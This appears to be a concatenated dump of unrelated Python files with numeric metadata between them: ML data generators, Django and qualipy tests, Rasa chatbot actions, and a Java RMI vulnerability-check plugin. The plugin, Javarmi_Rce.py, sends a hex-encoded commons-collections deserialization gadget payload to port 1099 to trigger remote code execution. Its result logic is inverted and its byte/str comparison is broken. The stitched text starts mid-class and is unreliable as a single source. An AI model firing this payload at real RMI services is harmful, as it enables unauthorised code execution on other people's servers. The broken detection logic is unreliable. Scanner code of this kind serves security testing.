self.batch_size = batch_size self.indexes = np.arange(len(self.XYY_list)) self.shuffle = shuffle self.on_epoch_end() def __len__(self): return int(np.floor(len(self.XYY_list) / self.batch_size)) def __getitem__(self, index): # Generate indexes of the batch indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size] # Find list of IDs XYY_file_list = [self.XYY_list[k] for k in indexes] # Generate data X, Y = self.__data_generation(XYY_file_list) return X, Y def on_epoch_end(self): if self.shuffle == True: np.random.shuffle(self.indexes) def __data_generation(self, XYY_file_list): X_file_list = [] Y1_file_list = [] Y2_file_list = [] for t in XYY_file_list: X_file_list.append(t[0]) Y1_file_list.append(t[1]) Y2_file_list.append(t[2]) X = [np.load(x_file) for x_file in X_file_list] Y1 = [np.load(y_file) for y_file in Y1_file_list] Y2 = [np.load(y_file) for y_file in Y2_file_list] X = np.array(X, np.float32) Y1 = np.array(Y1, np.float32) Y2 = np.array(Y2, np.float32) return X, [Y1, Y2] class DataGeneratorV3(Sequence): def __init__(self, X1_dir, X2_dir, Y1_dir, Y2_dir, batch_size=1, shuffle=True): self.X1_list = [child for child in X1_dir.iterdir()] self.X2_list = [child for child in X2_dir.iterdir()] self.Y1_list = [child for child in Y1_dir.iterdir()] self.Y2_list = [child for child in Y2_dir.iterdir()] self.XXYY_list = list(zip(self.X1_list, self.X2_list, self.Y1_list, self.Y2_list)) self.batch_size = batch_size self.indexes = np.arange(len(self.XXYY_list)) self.shuffle = shuffle self.on_epoch_end() def __len__(self): return int(np.floor(len(self.XXYY_list) / self.batch_size)) def __getitem__(self, index): # Generate indexes of the batch indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size] # Find list of IDs XXYY_file_list = [self.XXYY_list[k] for k in indexes] # Generate data X, Y = self.__data_generation(XXYY_file_list) return X, Y def on_epoch_end(self): if self.shuffle == True: np.random.shuffle(self.indexes) def __data_generation(self, XXYY_file_list): X1_file_list = [] X2_file_list = [] Y1_file_list = [] Y2_file_list = [] for t in XXYY_file_list: X1_file_list.append(t[0]) X2_file_list.append(t[1]) Y1_file_list.append(t[2]) Y2_file_list.append(t[3]) X1 = [np.load(x_file) for x_file in X1_file_list] X2 = [np.load(x_file) for x_file in X2_file_list] Y1 = [np.load(y_file) for y_file in Y1_file_list] Y2 = [np.load(y_file) for y_file in Y2_file_list] X1 = np.array(X1, np.float32) X2 = np.array(X2, np.float32) Y1 = np.array(Y1, np.float32) Y2 = np.array(Y2, np.float32) return [X1, X2], [Y1, Y2] class ImageGenerator(Sequence): def __init__(self, X_dir, Y_dir, batch_size=1, shuffle=True): self.X_list = [child for child in X_dir.iterdir()] self.Y_list = [child for child in Y_dir.iterdir()] self.XY_list = list(zip(self.X_list, self.Y_list)) self.batch_size = batch_size self.indexes = np.arange(len(self.XY_list)) self.shuffle = shuffle self.calc_normalization() self.on_epoch_end() def calc_normalization(self): X = [] for file in self.X_list: img = PIL.Image.open(file) arr = np.array(img, dtype=np.float32) X.append(arr) img.close() X = np.array(X, dtype=np.float32) x_mean = X.mean() x_std = X.std() self.X_mean = x_mean self.X_std = x_std print('Normalization factor calculated') return def __len__(self): return int(np.floor(len(self.XY_list) / self.batch_size)) def __getitem__(self, index): # Generate indexes of the batch indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size] # Find list of IDs XY_file_list = [self.XY_list[k] for k in indexes] # Generate data X, Y = self.__data_generation(XY_file_list) return def on_epoch_end(self): if self.shuffle == True: np.random.shuffle(self.indexes) def __data_generation(self, XY_file_list): X_file_list = [] Y_file_list = [] for t in XY_file_list: X_file_list.append(t[0]) Y_file_list.append(t[1]) X = [] for f in X_file_list: img = PIL.Image.open(f) img = img.resize((160,240)) arr = np.array(img, dtype=np.float32) X.append(arr) img.close() Y = [] for f in Y_file_list: print(f) img = PIL.Image.open(f) img = img.resize((160,240)) arr = np.array(img, dtype=np.float32) Y.append(arr) img.close() X = np.array(X, np.float32) X = (X-self.X_mean)/self.X_std Y = np.array(Y, np.float32) Y[(Y==[255,255,255]).all(axis=3)] = np.array([1,0,0], dtype=np.float32) Y[(Y==[0,0,255]).all(axis=3)] = np.array([0,1,0], dtype=np.float32) Y[(Y==[255,0,0]).all(axis=3)] = np.array([0,0,1], dtype=np.float32) return X, Y

32.486957

90

0.594352

1,149

7,472

3.604874

0.079199

0.09464

0.050217

0.045147

0.865282

0.805891

0.754949

0.751086

0.712941

0

0.031133

0.286403

7,472

229

91

32.628821

0.745686

0.032521

0

0.649123

0

0.004296

0

1

0.122807

false

0

0.023392

0.245614

0.011696

0

null

0

1

0

null

0

6

f528add3a8ac64cf23155a51ba30480dd554d229

7,654

py

Python

tests/test_models.py

elephanter/django-push-notifications

a4c140acb25457a8da49205d5df69d13738596d6

[ "MIT" ]

null

tests/test_models.py

elephanter/django-push-notifications

a4c140acb25457a8da49205d5df69d13738596d6

[ "MIT" ]

null

tests/test_models.py

elephanter/django-push-notifications

a4c140acb25457a8da49205d5df69d13738596d6

[ "MIT" ]

null

import json import mock from django.test import TestCase from django.utils import timezone from push_notifications.models import GCMDevice, APNSDevice from tests.mock_responses import GCM_PLAIN_RESPONSE, \ GCM_MULTIPLE_JSON_RESPONSE, GCM_PLAIN_RESPONSE_ERROR, \ GCM_JSON_RESPONSE_ERROR, GCM_PLAIN_RESPONSE_ERROR_B from push_notifications.gcm import GCMError class ModelTestCase(TestCase): def test_can_save_gcm_device(self): device = GCMDevice.objects.create( registration_id="a valid registration id" ) assert device.id is not None assert device.date_created is not None assert device.date_created.date() == timezone.now().date() def test_can_create_save_device(self): device = APNSDevice.objects.create( registration_id="a valid registration id" ) assert device.id is not None assert device.date_created is not None assert device.date_created.date() == timezone.now().date() def test_gcm_send_message(self): device = GCMDevice.objects.create( registration_id="abc", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_PLAIN_RESPONSE) as p: device.send_message("Hello world") p.assert_called_once_with( b"data.message=Hello+world&registration_id=abc", "application/x-www-form-urlencoded;charset=UTF-8") def test_gcm_send_message_extra(self): device = GCMDevice.objects.create( registration_id="abc", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_PLAIN_RESPONSE) as p: device.send_message("Hello world", extra={"foo": "bar"}) p.assert_called_once_with( b"data.foo=bar&data.message=Hello+world&registration_id=abc", "application/x-www-form-urlencoded;charset=UTF-8") def test_gcm_send_message_collapse_key(self): device = GCMDevice.objects.create( registration_id="abc", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_PLAIN_RESPONSE) as p: device.send_message("Hello world", collapse_key="test_key") p.assert_called_once_with( b"collapse_key=test_key&data.message=Hello+world&registration_id=abc", "application/x-www-form-urlencoded;charset=UTF-8") def test_gcm_send_message_to_multiple_devices(self): GCMDevice.objects.create( registration_id="abc", ) GCMDevice.objects.create( registration_id="abc1", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_MULTIPLE_JSON_RESPONSE) as p: GCMDevice.objects.all().send_message("Hello world") p.assert_called_once_with( json.dumps({ "data": { "message": "Hello world" }, "registration_ids": ["abc", "abc1"] }, separators=(",", ":"), sort_keys=True).encode("utf-8"), "application/json") def test_gcm_send_message_extra_to_multiple_devices(self): GCMDevice.objects.create( registration_id="abc", ) GCMDevice.objects.create( registration_id="abc1", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_MULTIPLE_JSON_RESPONSE) as p: GCMDevice.objects.all().send_message("Hello world", extra={"foo": "bar"}) p.assert_called_once_with( json.dumps({ "data": { "foo": "bar", "message": "Hello world" }, "registration_ids": ["abc", "abc1"] }, separators=(",", ":"), sort_keys=True).encode("utf-8"), "application/json") def test_gcm_send_message_collapse_to_multiple_devices(self): GCMDevice.objects.create( registration_id="abc", ) GCMDevice.objects.create( registration_id="abc1", ) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_MULTIPLE_JSON_RESPONSE) as p: GCMDevice.objects.all().send_message("Hello world", collapse_key="test_key") p.assert_called_once_with( json.dumps({ "collapse_key": "test_key", "data": { "message": "Hello world" }, "registration_ids": ["abc", "abc1"] }, separators=(",", ":"), sort_keys=True).encode("utf-8"), "application/json") def test_gcm_send_message_to_single_device_with_error(self): # these errors are device specific, device.active will be set false device_list = ['abc', 'abc1'] self.create_devices(device_list) for index, error in enumerate(GCM_PLAIN_RESPONSE_ERROR): with mock.patch("push_notifications.gcm._gcm_send", return_value=error) as p: device = GCMDevice.objects. \ get(registration_id=device_list[index]) device.send_message("Hello World!") assert GCMDevice.objects.get(registration_id=device_list[index]) \ .active is False def test_gcm_send_message_to_single_device_with_error_b(self): # these errors are not device specific, GCMError should be thrown device_list = ['abc'] self.create_devices(device_list) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_PLAIN_RESPONSE_ERROR_B) as p: device = GCMDevice.objects. \ get(registration_id=device_list[0]) with self.assertRaises(GCMError): device.send_message("Hello World!") assert GCMDevice.objects.get(registration_id=device_list[0]) \ .active is True def test_gcm_send_message_to_multiple_devices_with_error(self): device_list = ['abc', 'abc1', 'abc2'] self.create_devices(device_list) with mock.patch("push_notifications.gcm._gcm_send", return_value=GCM_JSON_RESPONSE_ERROR) as p: devices = GCMDevice.objects.all() devices.send_message("Hello World") assert GCMDevice.objects.get(registration_id=device_list[0]) \ .active is False assert GCMDevice.objects.get(registration_id=device_list[1]) \ .active is True assert GCMDevice.objects.get(registration_id=device_list[2]) \ .active is False def test_apns_send_message(self): device = APNSDevice.objects.create( registration_id="abc", ) socket = mock.MagicMock() with mock.patch("push_notifications.apns._apns_pack_frame") as p: device.send_message("Hello world", socket=socket, expiration=1) p.assert_called_once_with("abc", b'{"aps":{"alert":"Hello world"}}', 0, 1, 10) def test_apns_send_message_extra(self): device = APNSDevice.objects.create( registration_id="abc", ) socket = mock.MagicMock() with mock.patch("push_notifications.apns._apns_pack_frame") as p: device.send_message("Hello world", extra={"foo": "bar"}, socket=socket, identifier=1, expiration=2, priority=5) p.assert_called_once_with("abc", b'{"aps":{"alert":"Hello world"},"foo":"bar"}', 1, 2, 5) def create_devices(self, devices): for device in devices: GCMDevice.objects.create( registration_id=device, )

44.242775

123

0.622942

892

7,654

5.061659

0.130045

0.08062

0.064009

0.083721

0.81794

0.778073

0.772093

0.760133

0.722702

0.705426

0

0.005537

0.268487

7,654

172

124

44.5

0.800857

0.016854

0

0.533333

0

0.165647

0.095719

0

0.133333

1

0.093333

false

0

0.046667

0

0.146667

0

null

0

1

0

null

0

6

f5560ca0cd7dc681bae3f7af5c7e140b0ff23601

187

py

Python

sst/tests/static/cell_should_be_only_in_code_only.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

null

sst/tests/static/cell_should_be_only_in_code_only.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

78

2021-09-20T11:48:08.000Z

2021-10-21T07:10:39.000Z

sst/tests/static/cell_should_be_only_in_code_only.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

null

""" CORRECT FIRST CELL """ print("CORRECT CODE") """ HIDDEN CELL sst_ignore_jupyter_md """ print("HIDDEN CODE but not in code_only") # sst_ignore_jupyter_md """ CORRECT LAST CELL """

10.388889

41

0.700535

27

187

4.592593

0.555556

0.145161

0.258065

0.290323

0

0.15508

187

17

42

11

0.78481

0.219251

0

0.611111

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

f5594f9c6ed0b70ac4a23c18e924f8ab4de16f7b

73

py

Python

xfcs/__init__.py

j4c0bs/xfcs

496f515c59a2df0db652b1d308c8b8e3951e5f0d

[ "BSD-2-Clause" ]

null

xfcs/__init__.py

j4c0bs/xfcs

496f515c59a2df0db652b1d308c8b8e3951e5f0d

[ "BSD-2-Clause" ]

null

xfcs/__init__.py

j4c0bs/xfcs

496f515c59a2df0db652b1d308c8b8e3951e5f0d

[ "BSD-2-Clause" ]

null

from xfcs.FCS import FCS from xfcs.utils.locator import locate_fcs_files

24.333333

47

0.849315

13

73

4.615385

0.615385

0.266667

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1

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1

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6

f599e97befe38e5bd615d716a59cdb201e551034

160

py

Python

prescient/stats/__init__.py

iSoron/Prescient

a3c1d7c5840893ff43dca48c40dc90f083292d26

[ "BSD-3-Clause" ]

21

2020-06-03T13:54:22.000Z

2022-02-27T18:20:35.000Z

prescient/stats/__init__.py

iSoron/Prescient

a3c1d7c5840893ff43dca48c40dc90f083292d26

[ "BSD-3-Clause" ]

79

2020-07-30T17:29:04.000Z

2022-03-09T00:06:39.000Z

prescient/stats/__init__.py

bknueven/Prescient

6289c06a5ea06c137cf1321603a15e0c96ddfb85

[ "BSD-3-Clause" ]

16

2020-07-14T17:05:56.000Z

2022-02-17T17:51:13.000Z

from .daily_stats import DailyStats from .hourly_stats import HourlyStats from .overall_stats import OverallStats from .operations_stats import OperationsStats

32

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160

6.8

0.55

0.323529

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0.1

160

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null

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1

0

1

0

6

1959af5e145c64c8a055b88ff3b494a2311dce9b

108

py

Python

metagrad/__init__.py

nlp-greyfoss/metagrad

0f32f177ced1478f0c75ad37bace9a9fc4044ba3

[ "MIT" ]

7

2022-01-27T05:38:02.000Z

2022-03-30T01:48:00.000Z

metagrad/__init__.py

nlp-greyfoss/metagrad

0f32f177ced1478f0c75ad37bace9a9fc4044ba3

[ "MIT" ]

null

metagrad/__init__.py

nlp-greyfoss/metagrad

0f32f177ced1478f0c75ad37bace9a9fc4044ba3

[ "MIT" ]

2

2022-02-22T07:47:02.000Z

2022-03-22T08:31:59.000Z

from metagrad.tensor import Tensor import metagrad.functions import metagrad.init from metagrad import cuda

21.6

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0.861111

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108

6.2

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null

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1

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6

196a437b810356a6f2189e987046de0a81b5331e

91

py

Python

bempp/api/integration/__init__.py

pescap/bempp-cl

3a68666e8db0e873d418b734289067483f68f12e

[ "MIT" ]

70

2019-09-04T15:15:05.000Z

2022-03-22T16:54:40.000Z

bempp/api/integration/__init__.py

pescap/bempp-cl

3a68666e8db0e873d418b734289067483f68f12e

[ "MIT" ]

66

2020-01-16T08:31:00.000Z

2022-03-25T11:18:59.000Z

bempp/api/integration/__init__.py

pescap/bempp-cl

3a68666e8db0e873d418b734289067483f68f12e

[ "MIT" ]

22

2019-09-30T08:50:33.000Z

2022-03-20T19:37:22.000Z

"""Module providing quadrature rules.""" from . import gauss from . import triangle_gauss

18.2

40

0.758242

11

91

6.181818

0.727273

0.294118

0

0.142857

91

4

41

22.75

0.871795

0.373626

0

1

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true

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null

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1

0

null

0

1

0

1

0

1

0

6

2702adbf051f18153483c29958922c8366a98130

5,565

py

Python

tests/test_example_scripts.py

baasman/qualipy

e246a44ea3a5dcc92291983c52a89189338f808f

[ "Apache-2.0" ]

1

2019-07-15T15:16:44.000Z

tests/test_example_scripts.py

baasman/qualipy

e246a44ea3a5dcc92291983c52a89189338f808f

[ "Apache-2.0" ]

null

tests/test_example_scripts.py

baasman/qualipy

e246a44ea3a5dcc92291983c52a89189338f808f

[ "Apache-2.0" ]

null

import os import tempfile import importlib.util import subprocess import shutil import json import pytest import sqlalchemy as sa import qualipy as qpy def get_module_from_path(path): spec = importlib.util.spec_from_file_location("test_path.test_script", path) test_script = importlib.util.module_from_spec(spec) spec.loader.exec_module(test_script) return test_script def test_profile_dataset_pandas(): test_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), os.pardir, "example", "profile_dataset_pandas.py", ) tmp_config_path = os.path.join( tempfile.gettempdir(), next(tempfile._get_candidate_names()) ) test_script = get_module_from_path(test_path) test_script.qualipy_pipeline(tmp_config_path) qpy.cli.produce_batch_report_cli( tmp_config_path, "eye_state", "eye-state-run-0", run_name="full-run" ) reports_dir = os.path.join(tmp_config_path, "reports", "profiler") reports = list(os.listdir(reports_dir)) assert len(reports) > 0 with open(os.path.join(tmp_config_path, "config.json"), "r") as f: config = json.load(f) engine = sa.create_engine(config["QUALIPY_DB"]) with engine.connect() as conn: ret = conn.execute("select * from eye_state limit 1").fetchall() assert len(ret) > 0 shutil.rmtree(tmp_config_path) def test_table_dataset_pandas(): test_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), os.pardir, "example", "pandas_table.py", ) tmp_config_path = os.path.join( tempfile.gettempdir(), next(tempfile._get_candidate_names()) ) test_script = get_module_from_path(test_path) test_script.qualipy_pipeline(tmp_config_path) qpy.cli.produce_batch_report_cli( tmp_config_path, "eye_state", "eye-state-run-0", run_name="full-run" ) reports_dir = os.path.join(tmp_config_path, "reports", "profiler") reports = list(os.listdir(reports_dir)) assert len(reports) > 0 with open(os.path.join(tmp_config_path, "config.json"), "r") as f: config = json.load(f) engine = sa.create_engine(config["QUALIPY_DB"]) with engine.connect() as conn: ret = conn.execute("select * from eye_state limit 1").fetchall() assert len(ret) > 0 shutil.rmtree(tmp_config_path) def test_table_dataset_pandas_from_config(): test_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), os.pardir, "example", "pandas_table_from_config.py", ) tmp_config_path = os.path.join( tempfile.gettempdir(), next(tempfile._get_candidate_names()) ) test_script = get_module_from_path(test_path) test_script.qualipy_pipeline(tmp_config_path) qpy.cli.produce_batch_report_cli( config_dir=tmp_config_path, project_name="eye_state", batch_name="eye-state-run-0", run_name="full-run", ) reports_dir = os.path.join(tmp_config_path, "reports", "profiler") reports = list(os.listdir(reports_dir)) assert len(reports) > 0 with open(os.path.join(tmp_config_path, "config.json"), "r") as f: config = json.load(f) engine = sa.create_engine(config["QUALIPY_DB"]) with engine.connect() as conn: ret = conn.execute("select * from eye_state limit 1").fetchall() assert len(ret) > 0 shutil.rmtree(tmp_config_path) def test_chunked_dataset_anomaly_pandas(): test_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), os.pardir, "example", "chunked_dataset_anomaly_pandas.py", ) tmp_config_path = os.path.join( tempfile.gettempdir(), next(tempfile._get_candidate_names()) ) test_script = get_module_from_path(test_path) test_script.qualipy_pipeline(tmp_config_path) qpy.cli.produce_anomaly_report_cli( config_dir=tmp_config_path, project_name="stocks", run_anomaly=True ) reports_dir = os.path.join(tmp_config_path, "reports", "anomaly") reports = list(os.listdir(reports_dir)) assert len(reports) > 0 with open(os.path.join(tmp_config_path, "config.json"), "r") as f: config = json.load(f) engine = sa.create_engine(config["QUALIPY_DB"]) with engine.connect() as conn: ret = conn.execute("select * from stocks limit 1").fetchall() assert len(ret) > 0 shutil.rmtree(tmp_config_path) def test_multiple_runs_per_batch_pandas(): test_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), os.pardir, "example", "multiple_runs_per_batch_pandas.py", ) tmp_config_path = os.path.join( tempfile.gettempdir(), next(tempfile._get_candidate_names()) ) test_script = get_module_from_path(test_path) test_script.qualipy_pipeline(tmp_config_path) qpy.cli.produce_anomaly_report_cli( config_dir=tmp_config_path, project_name="flat_data", run_anomaly=True ) reports_dir = os.path.join(tmp_config_path, "reports", "anomaly") reports = list(os.listdir(reports_dir)) assert len(reports) > 0 with open(os.path.join(tmp_config_path, "config.json"), "r") as f: config = json.load(f) engine = sa.create_engine(config["QUALIPY_DB"]) with engine.connect() as conn: ret = conn.execute("select * from flat_data limit 1").fetchall() assert len(ret) > 0 shutil.rmtree(tmp_config_path) if __name__ == "__main__": test_table_dataset_pandas_from_config()

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null

0

1

0

null

0

6

270df96d5f831f16219c9900bdc9909066a370b6

16

py

Python

python scripts/UrlRequester.py

sahatatekkom/floodlight-appfirewall

531eb66d6e99f33790a86fb4e4e98a4f1f68d6f3

[ "Apache-2.0" ]

1

2019-02-01T08:33:14.000Z

python scripts/UrlRequester.py

sahatatekkom/floodlight-appfirewall

531eb66d6e99f33790a86fb4e4e98a4f1f68d6f3

[ "Apache-2.0" ]

null

python scripts/UrlRequester.py

sahatatekkom/floodlight-appfirewall

531eb66d6e99f33790a86fb4e4e98a4f1f68d6f3

[ "Apache-2.0" ]

null

import urllib

4

13

0.75

2

16

6

1

0

0.25

16

3

14

5.333333

1

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

27117a07032a4f271010233325e25990edf5bfda

32

py

Python

maps/pats_pond/__init__.py

56kyle/bloons_auto

419d55b51d1cddc49099593970adf1c67985b389

[ "MIT" ]

null

maps/pats_pond/__init__.py

56kyle/bloons_auto

419d55b51d1cddc49099593970adf1c67985b389

[ "MIT" ]

null

maps/pats_pond/__init__.py

56kyle/bloons_auto

419d55b51d1cddc49099593970adf1c67985b389

[ "MIT" ]

null

from .pats_pond import PatsPond

16

31

0.84375

5

32

5.2

1

0

0.125

32

1

32

0.928571

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true

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1

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null

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1

0

null

0

1

0

1

0

1

0

6

271ccc6cc116f6f8633cfabf62551edb3e3d69c1

137

py

Python

scripts/npc/autogen_ElfTaxi.py

hsienjan/SideQuest-Server

3e88debaf45615b759d999255908f99a15283695

[ "MIT" ]

null

scripts/npc/autogen_ElfTaxi.py

hsienjan/SideQuest-Server

3e88debaf45615b759d999255908f99a15283695

[ "MIT" ]

null

scripts/npc/autogen_ElfTaxi.py

hsienjan/SideQuest-Server

3e88debaf45615b759d999255908f99a15283695

[ "MIT" ]

null

# ObjectID: 1000011 # Character field ID when accessed: 910150300 # ParentID: 1033112 # Object Position X: 2081 # Object Position Y: -12

22.833333

45

0.751825

18

137

5.722222

0.888889

0.271845

0

0.254386

0.167883

137

5

46

27.4

0.649123

0.919708

0

null

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null

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null

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null

true

0

null

1

0

null

1

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1

0

1

0

1

0

null

0

1

0

6

2733a911d8bf5066aae412e4e276bdcaf74eb721

167

py

Python

besserenklangen/subs/admin.py

fsxfreak/alternative-soundcloud-stream

b88d706de73140bfb0144d750a5c5d13d936c719

[ "MIT" ]

null

besserenklangen/subs/admin.py

fsxfreak/alternative-soundcloud-stream

b88d706de73140bfb0144d750a5c5d13d936c719

[ "MIT" ]

null

besserenklangen/subs/admin.py

fsxfreak/alternative-soundcloud-stream

b88d706de73140bfb0144d750a5c5d13d936c719

[ "MIT" ]

null

from django.contrib import admin # Register your models here. from .models import Track from .models import Feed admin.site.register(Track) admin.site.register(Feed)

20.875

32

0.802395

25

167

5.36

0.48

0.149254

0.238806

0

0.11976

167

8

33

20.875

0.911565

0.155689

0

1

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true

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1

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6

273a4e7c71ff35fa7cf1f6e5ee4740891709a1e2

15,376

py

Python

python/app/plugins/port/Javarmi/Javarmi_Rce.py

taomujian/linbing

fe772a58f41e3b046b51a866bdb7e4655abaf51a

[ "MIT" ]

351

2020-02-26T05:23:26.000Z

2022-03-26T12:39:19.000Z

python/app/plugins/port/Javarmi/Javarmi_Rce.py

taomujian/linbing

fe772a58f41e3b046b51a866bdb7e4655abaf51a

[ "MIT" ]

15

2020-03-26T07:31:49.000Z

2022-03-09T02:12:17.000Z

python/app/plugins/port/Javarmi/Javarmi_Rce.py

taomujian/linbing

fe772a58f41e3b046b51a866bdb7e4655abaf51a

[ "MIT" ]

99

2020-02-28T07:30:46.000Z

2022-03-16T16:41:09.000Z

#!/usr/bin/env python3 import time import socket import binascii from urllib.parse import urlparse class Javarmi_Rce_BaseVerify: def __init__(self, url): self.info = { 'name': 'Javarmi RCE漏洞', 'description': 'Javarmi RCE漏洞', 'date': '', 'exptype': 'check', 'type': 'RCE' } self.url = url self.timeout = 20 url_parse = urlparse(self.url) self.host = url_parse.hostname self.port = url_parse.port if not self.port: self.port = '1099' def check(self): """ 检测是否存在漏洞 :param: :return bool True or False: 是否存在漏洞 """ try: address = (self.host, int(self.port)) socket.setdefaulttimeout(self.timeout) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(address) send_packet_first = "4a524d4900024b000c31302e3130312e32322e333900000000" send_packet_second = "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf7400057077" \ "6e6564737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c65" \ "63742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f49" \ "6e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e" \ "2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62" \ "657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e67" \ "2f436c6173733b707870737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d" \ "61702e5472616e73666f726d65644d617061773fe05df15a700300024c000e6b65795472616e73666f726d657274" \ "002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b" \ "4c001076616c75655472616e73666f726d657271007e000a707870707372003a6f72672e6170616368652e636f6d" \ "6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c7" \ "97ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f" \ 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"6a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468" \ "726573686f6c647078703f4000000000000c7708000000100000000174000576616c756571007e004878787672001b6" \ "a6176612e6c616e672e616e6e6f746174696f6e2e5461726765740000000000000000000000707870" send_data_first = binascii.a2b_hex(send_packet_first) send_data_second = binascii.a2b_hex(send_packet_second) send_data_third = binascii.a2b_hex(send_packet_third) sock.send(send_data_first) time.sleep(1) sock.send(send_data_second) time.sleep(1) sock.send(send_data_third) packet=sock.recv(10240) time.sleep(1) packet1 = sock.recv(10240) sock.close() if "8888" in packet1: print('存在Java RMI rce漏洞') return False else: print('不存在Java RMI rce漏洞') return True except Exception as e: print(e) print('不存在Java RMI rce漏洞') return False finally: pass if __name__ == "__main__": Javarmi_Rce = Javarmi_Rce_BaseVerify('https://blog.csdn.net') Javarmi_Rce.check()

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null

1

0

6

273ea30cb1e341d61d2cff7d89aba4be76bc05b6

106

py

Python

stable_baselines3/a2c/__init__.py

mc-o/stable-baselines3

257a40ef4bd08d2ec2cd2d64b4c842fb36ceafa9

[ "MIT" ]

1

2020-06-24T16:57:19.000Z

stable_baselines3/a2c/__init__.py

mc-o/stable-baselines3

257a40ef4bd08d2ec2cd2d64b4c842fb36ceafa9

[ "MIT" ]

null

stable_baselines3/a2c/__init__.py

mc-o/stable-baselines3

257a40ef4bd08d2ec2cd2d64b4c842fb36ceafa9

[ "MIT" ]

null

from stable_baselines3.a2c.a2c import A2C from stable_baselines3.ppo.policies import MlpPolicy, CnnPolicy

35.333333

63

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0

1

0

1

0

6

2767bba31f2b6f192c294019ac7a18ce21bc2dd5

26,748

py

Python

actions.py

Robosensus1/rasaproject2

2ab5c5b0387753d0d93d8eba50c85b76cd8867a4

[ "Apache-2.0" ]

null

actions.py

Robosensus1/rasaproject2

2ab5c5b0387753d0d93d8eba50c85b76cd8867a4

[ "Apache-2.0" ]

6

2020-01-28T22:53:37.000Z

2022-02-10T00:15:28.000Z

actions.py

Robosensus1/rasaproject2

2ab5c5b0387753d0d93d8eba50c85b76cd8867a4

[ "Apache-2.0" ]

1

2019-12-03T13:58:51.000Z

from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals from rasa_core_sdk import Action from rasa_core_sdk.events import SlotSet, AllSlotsReset import io class ActionInfraCost(Action): def name(self): return 'action_infra_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "300k is the infra YTD(till April 2019)" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionPeoplesCost(Action): def name(self): return 'action_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "400k is the people YTD(till April 2019)" dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionBothCosts(Action): def name(self): return 'action_both_costs' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''300k is the infra YTD(till April 2019) \n400k is the people YTD(till April 2019) ''' dispatcher.utter_message(response) return [SlotSet("app", app)] class ActionTechnologies(Action): def name(self): return 'action_technologies' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = '''1.Oracle \n2.Weblogic \n3.Redhat linux \n4.Windows \n5.HP Storage \n6.Message Broker''' dispatcher.utter_message("These are the technologies which are currently using:") dispatcher.utter_message(response) return [SlotSet("app", app)] class Actionjanuarypeoplescost(Action): def name(self): return 'action_january_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "1000 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionfebruaryfebpeoplescost(Action): def name(self): return 'action_Februaryfeb_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "1220 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionmarchpeoplescost(Action): def name(self): return 'action_March_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "1440 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionaprilpeoplescost(Action): def name(self): return 'action_april_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "1660 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionmaypeoplescost(Action): def name(self): return 'action_may_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "1880 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionjunpeoplescost(Action): def name(self): return 'action_jun_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "2100 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionjulypeoplescost(Action): def name(self): return 'action_July_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "2320 is the peoples cost." dispatcher.utter_message(response) return [AllSlotsReset()] class Actionaugustpeoplescost(Action): def name(self): return 'action_august_peoples_cost' def run(self, dispatcher, tracker, domain): app = tracker.get_slot('app') response = "2540 is the peoples cost." 